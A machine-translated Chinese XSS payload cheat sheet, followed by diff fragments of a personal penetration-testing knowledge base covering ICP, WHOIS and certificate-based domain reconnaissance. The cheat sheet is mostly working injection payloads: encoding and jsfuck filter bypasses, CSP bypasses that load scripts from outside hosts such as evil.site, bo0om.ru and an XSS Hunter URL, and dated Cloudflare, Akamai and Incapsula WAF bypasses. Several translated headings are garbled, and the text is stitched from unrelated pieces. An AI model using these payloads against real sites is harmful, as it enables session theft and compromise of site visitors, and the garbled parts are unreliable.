我们可以找到带有正则表达式的“alert”,如 ^a[rel]+t$:

+
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a()

// then you can use a() with Object.keys

self[Object.keys(self)[a()]]("1") // alert("1")
+

在线:

+
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")
+

来自@quanyang推特。

+
prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'
+

来自@404death推特。

+
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
+

绕过使用其他方式触发警报

+
var i = document.createElement("iframe");
i.onload = function(){
i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
var proxy = obj[name];
obj[name] = function () {
if (exec_original) {
return proxy.apply(this, arguments);
}
};
XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, 'alert', 'window.alert', false);
+

不使用任何内容绕过“>”​

+

您不需要关闭您的标签。

+
<svg onload=alert(1)//
+

使用<和>绕过“< gt r =”251“/>”​

+

Unicode 字符 U+FF1C 和 U+FF1E

+
<script/src=//evil.site/poc.js>
+

使用其他字符跳过“;”​

+
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
+

绕过使用 HTML 编码​

+
%26%2397;lert(1)
&#97;&#108;&#101;&#114;&#116;
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
+

使用片假名绕过​

+

使用Katakana库。

+
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
+

使用楔形文字绕过​

+
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
+

使用朗塔拉的旁路​

+
ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()
+

http://aem1k.com/aurebesh.js/#上的更多字母

+

使用 ECMAScript6 绕过​

+
<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>
+

使用八进制编码绕过​

+
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
+

绕过使用 Unicode​

+
Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
+

不使用转换为大写的 Unicode

+
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
+

使用 UTF-7 旁路​

+
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
+

绕过使用 UTF-8​

+
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
+

使用 UTF-16be 旁路​

+
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
+

使用 UTF-32 旁路​

+
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
+

使用 BOM 绕过​

+

字节顺序标记(页面必须以 BOM 字符开头。)BOM 字符允许覆盖页面的字符集

+
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
+

绕过使用奇怪的编码或原生解释​

+
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
+

使用 jsfuck 绕过​

+

使用jsfuck绕过

+
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
+

CSP 旁路​

+

检查https://csp-evaluator.withgoogle.com上的 CSP 和帖子:

+

使用谷歌的 JSONP 绕过 CSP(通过@ 阿普费费尔 27的技巧)​

+

//谷歌.com/complete/search?client=chrome&jsonp= 警报(1);

+
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
+

更多 JSONP 终结点:

+ +

绕过 CSPlab.wallarm.com 网站​

+

适用于 CSP,如 Content-Security-Policy: default-src 'self' 'unsafe-inline';、

+
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
+

绕过 CSPRhynorater​

+
// CSP Bypass with Inline and Eval
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
+

绕过 CSP@akita_zen​

+

适用于 CSP,如 script-src self

+
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
+

绕过 CSP@404death​

+

适用于 CSP,如官方mozilla 文档中警告的那样。

+
<script src="data:,alert(1)">/</script>
+

通用 WAF 旁路​

+

Cloudflare XSS 绕过@ 波丹 · 科尔日恩斯基​

+

2021 年 1 月 25 日​

+
<svg/onrandom=random onload=confirm(1)>
<video onnull=null onmouseover=confirm(1)>
+

2020 年 4 月 21 日​

+
<svg/OnLoad="`${prompt``}`">
+

2019 年 8 月 22 日​

+
<svg/onload=%26nbsp;alert`bohdan`+
+

2019 年 6 月 5 日​

+
1'"><img/src/onerror=.1|alert``>
+

2019 年 6 月 3 日​

+
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
+

Cloudflare XSS 旁路-2019 年 3 月 22 日(通过 @RakeshMane10)​

+
<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
+

Cloudflare XSS 旁路-2018 年 2 月 27 日​

+
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
+

Chrome 审计员-2018 年 8 月 9 日​

+
</script><svg><script>alert(1)-%26apos%3B
+

@brutelogic 的实时示例-[https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=%3C%2Fscript%3E%3Csvg%3E%3Cscript%3Ealert%281%29-%26apos%3B)

+

Incapsula WAF 旁路通过@Alra3ees-2018 年 3 月 8 日​

+
anythinglr00</script><script>alert(document.domain)</script>uxldz

anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
+

Incapsula WAF 旁路通过@c0d3G33k-2018 年 9 月 11 日​

+
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
+

Incapsula WAF 旁路通过@daveysec-2019 年 5 月 11 日​

+
<svg onload\r\n=$.globalEval("al"+"ert()");>
+

Akamai WAF 绕过@zseano-2018 年 6 月 18 日​

+
?"></script><base%20c%3D=href%3Dhttps:\mysite>
+

Akamai WAF 绕过@s0md3v-2018 年 10 月 28 日​

+
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
+

WordFence WAF 绕过@ 野蛮的-2018 年 9 月 12 日​

+
<a href=javas&#99;ript:alert(1)>
+

Fortiweb WAF 旁路通过@rezaduty-2019 年 7 月 9 日​

+
\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e
+

实验室​

+ +

参考文献​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/信息收集/index.html b/docs/个人知识库/渗透测试/信息收集/index.html new file mode 100644 index 0000000..16744b1 --- /dev/null +++ b/docs/个人知识库/渗透测试/信息收集/index.html @@ -0,0 +1,34 @@ + + + + + +信息收集 | wjlin0 + + + + + + + +

信息收集

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:31:21
+
+

[!TIP]

+

渗透测试的本质就是信息收集,这句话想必大家都听过,在整个渗透测试的时候,信息收集占据了绝大部分。拿到一个目标的主站域名后,想从主站攻入一般是很困难的,或者说根本不可能,但如果信息收集做得全面,攻击面扩大,找到目标的脆弱点,让攻陷目标更容易。

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/ICP备案查询/index.html b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/ICP备案查询/index.html new file mode 100644 index 0000000..6ebb225 --- /dev/null +++ b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/ICP备案查询/index.html @@ -0,0 +1,48 @@ + + + + + +ICP备案查询 | wjlin0 + + + + + + + +

ICP备案查询

作者修订时间
wjlin02025-10-14 23:58:22
+

ICP备案是指网站在信息产业部提交网站信息进行官方认可。对国内各大小网站(包括企业及个人站点)的严格审查工作,对于没有合法备案的非经营性网站或没有取得ICP许可证的经营性网站,根据网站性质,将予以罚款,严重的关闭网站,以此规范网络安全,打击一切利用网络资源进行不法活动的犯罪行为。也就是说,只要是盈利为目的的网站,都要进行ICP备案,否则会受到相应的处罚。

+

国内使用国内服务器的网站,都必须要先办理ICP备案后才可以上线。

+

有何作用​

+

通过查询目标企业的备案信息,可直接获取到目标企业注册了哪些域名,从而增加可渗透的目标范围。

+

如何查询​

+
+

![Tip]

+

推荐使用官方网站ICP/IP地址/域名信息备案管理系统

+
+

支持使用单位名称、域名和备案号进行查询

+
    +
  • 使用单位名称查询
  • +
+

img

+
    +
  • +

    使用域名查询

    +
  • +
  • +

    使用备案号查询

    +
  • +
+

img

+

使用任意参数查询后,可通过相关的信息查询其他相关的域名达到收集目标域名的目的。

+

第三方查询网站​

+ +

参考​

+

ICP备案查询 · d4m1ts 知识库

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/WHOIS-IP反查查询/index.html b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/WHOIS-IP反查查询/index.html new file mode 100644 index 0000000..e50bb15 --- /dev/null +++ b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/WHOIS-IP反查查询/index.html @@ -0,0 +1,52 @@ + + + + + +WHOIS-IP反查查询 | wjlin0 + + + + + + + +

WHOIS-IP反查查询

作者修订时间
wjlin02025-08-19 16:40:48
+
+

[!TIP]

+

whois 是用来查询域名的IP以及所有者等信息的传输协议。简单说,whois就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商),不同域名后缀的Whois信息需要到不同的Whois数据库查询。通过whois来实现对域名信息的查询,可以得到注册人的姓名和邮箱信息通常对测试个人站点非常有用,因为我们可以通过搜索引擎和社交网络挖掘出域名所有人的很多信息。

+
+

常见网站:

+
+

Whois站长之家查询:http://whois.chinaz.com/

+

阿里云中国万网查询:https://whois.aliyun.com/

+

Whois Lookup 查找目标网站所有者的信息:http://whois.domaintools.com/

+

Netcraft Site Report 显示目标网站上使用的技术:http://toolbar.netcraft.com/site_report?url=

+

Robtex DNS 查询显示关于目标网站的全面的DNS信息:https://www.robtex.com/

+

全球Whois查询:https://www.whois365.com/cn/

+

站长工具爱站查询:https://whois.aizhan.com/

+
+

站长之家:whois.chinaz.com

+

注册邮箱​

+
1.注册邮箱
2.反查
1.域名
2.注册者、电话
3.dns
4.注册时间、过期时间
+

注册人、电话号​

+
1.注册人反查
2.社工库
+

注册时间-过期时间​

+

注册商​

+

历史查询​

+
1.以前的手机号
2.以前的域名
+

IP反查​

+

有何作用​

+

目标多个域名可能绑定在同一IP上,通过IP反查一定情况下可获取到其他的域名信息。

+

如何查询​

+
+

[!TIP]

+ +
+

输入相关的域名或IP地址即可查询。

+

image-20221223205015934

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/google查询/index.html b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/google查询/index.html new file mode 100644 index 0000000..f01bafc --- /dev/null +++ b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/google查询/index.html @@ -0,0 +1,34 @@ + + + + + +google查询 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/index.html b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/index.html new file mode 100644 index 0000000..ea2dfbb --- /dev/null +++ b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/index.html @@ -0,0 +1,39 @@ + + + + + +主域名收集 | wjlin0 + + + + + + + +

主域名收集

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 09:50:48
+

域名(英语:Domain Name),又称网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(有时也指地理位置)。由于IP地址具有不方便记忆并且不能显示地址组织的名称和性质等缺点,人们设计出了域名,并通过网域名称系统来将域名和IP地址相互映射,使人更方便地访问互联网,而不用去记住能够被机器直接读取的IP地址数串。

+
+

顶级域名/一级域名:

+

顶级域(或顶级域名,也称为一级域名),是互联网DNS等级之中的最高级的域,它保存于DNS根域的名字空间中。顶级域名是域名的最后一个部分,即是域名最后一点之后的字母,例如在http://www.example.com这个域名中,**顶级域是****.com**。

+

二级域名:

+

除了顶级域名,还有二级域名,就是最靠近顶级域名左侧的字段。例如在http://www.example.com这个域名中,example就是二级域名。

+

子域名:

+

子域名(或子域;英语:Subdomain)是在域名系统等级中,属于更高一层域的域。比如,mail.example.com和calendar.example.com是example.com的两个子域,而example.com则是顶级域.com的子域。凡顶级域名前加前缀的都是该顶级域名的子域名,而子域名根据技术的多少分为二级子域名,三级子域名以及多级子域名。

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/证书查询/index.html b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/证书查询/index.html new file mode 100644 index 0000000..f0f85dc --- /dev/null +++ b/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/证书查询/index.html @@ -0,0 +1,73 @@ + + + + + +证书查询 | wjlin0 + + + + + + + +

证书查询

作者修订时间
wjlin02025-08-19 16:40:42
+

SSL 证书 就是遵守 SSL协议,由受信任的数字证书颁发机构CA,在验证服务器身份后颁发,具有服务器身份验证和数据传输加密功能。

+

SSL证书通过在客户端浏览器和Web服务器之间建立一条SSL安全通道(Secure socket layer(SSL)安全协议是由Netscape Communication公司设计开发。该安全协议主要用来提供对用户和服务器的认证;对传送的数据进行加密和隐藏;确保数据在传送中不被改变,即数据的完整性,现已成为该领域中全球化的标准。由于SSL技术已建立到所有主要的浏览器和WEB服务器程序中,因此,仅需安装服务器证书就可以激活该功能了),即通过它可以激活SSL协议,实现数据信息在客户端和服务器之间的加密传输,可以防止数据信息的泄露,保证了双方传递信息的安全性,而且用户可以通过服务器证书验证他所访问的网站是否是真实可靠。数字签名又名数字标识、签章 (即 Digital Certificate,Digital ID ),提供了一种在网上进行身份验证的方法,是用来标志和证明网络通信双方身份的数字信息文件,概念类似日常生活中的司机驾照或身份证。 数字签名主要用于发送安全电子邮件、访问安全站点、网上招标与投标、网上签约、网上订购、网上公文安全传送、网上办公、网上缴费、网上缴税以及网上购物等安全的网上电子交易活动。

+

证书功能​

+

服务器部署了 SSL 证书后可以确保用户在浏览器上输入的机密信息和从服务器上查询的机密信息从用户电脑到服务器之间的传输链路上是高强度加密传输的,是不可能被非法篡改和窃取的。同时向网站访问者证明了服务器的真实身份,此真实身份是通过第三方权威机构验证的。也就是说有两大作用:数据加密和身份认证。

+

a 确认网站真实性(网站身份认证):用户需要登录正确的网站进行在线购物或其它交易活动,但由于互联网的广泛性和开放性,使得互联网上存在着许多假冒、钓鱼网站,用户如何来判断网站的真实性,如何信任自己正在访问的网站,可信网站将帮你确认网站的身份。当用户需要确认网站身份的时候,只需要点击浏览器地址栏里面的锁头标志即可。

+

b 保证信息传输的机密性:用户在登录网站在线购物或进行各种交易时,需要多次向服务器端传送信息,而这些信息很多是用户的隐私和机密信息,直接涉及经济利益或私密,如何来确保这些信息的安全呢?可信网站将帮您建立一条安全的信息传输加密通道。

+

在SSL会话产生时,服务器会传送它的证书,用户端浏览器会自动的分析服务器证书,并根据不同版本的浏览器,从而产生40位或128位的会话密钥,用于对交易的信息进行加密。所有的过程都会自动完成,对用户是透明的,因而,服务器证书可分为两种:最低40位和最低128位(这里指的是SSL会话时生成加密密钥的长度,密钥越长越不容易破解)证书。

+

最低40位的服务器证书在建立会话时,根据浏览器版本不同,可产生40位或128位的SSL会话密钥用来建立用户浏览器与服务器之间的安全通道。而最低128位的服务器证书不受浏览器版本的限制可以产生128位以上的会话密钥,实现高级别的加密强度,无论是IE或Netscape浏览器,即使使用强行攻击的办法破译密码,也需要10年。

+

证书分类​

+

SSL证书依据功能和品牌不同分类有所不同,但SSL证书作为国际通用的产品,最为重要的便是产品兼容性(即证书根预埋技术),因为他解决了网民登录网站的信任问题,网民可以通过SSL证书轻松识别网站的真实身份。SSL证书分为如下种类:

+
    +
  • 扩展验证型(EV)SSL证书
  • +
  • 组织验证型(OV)SSL证书
  • +
  • 域名验证型(DV)SSL证书
  • +
+

如何利用证书查询域名​

+

浏览器查看​

+

chrome浏览器(其他浏览器类似) 左上角 选择连接是安全的 -> 证书有效 - > 详细信息 -> 证书主题背景的备用名称

+

img.png

+

在线网站​

+
+

推荐使用 crt.sh

+
+

输入域名即可查询

+

image-20221223155642658

+

通过网络空间搜索引擎​

+
+

![TIP]

+

以Fofa为例,shodan和zoomeye类似
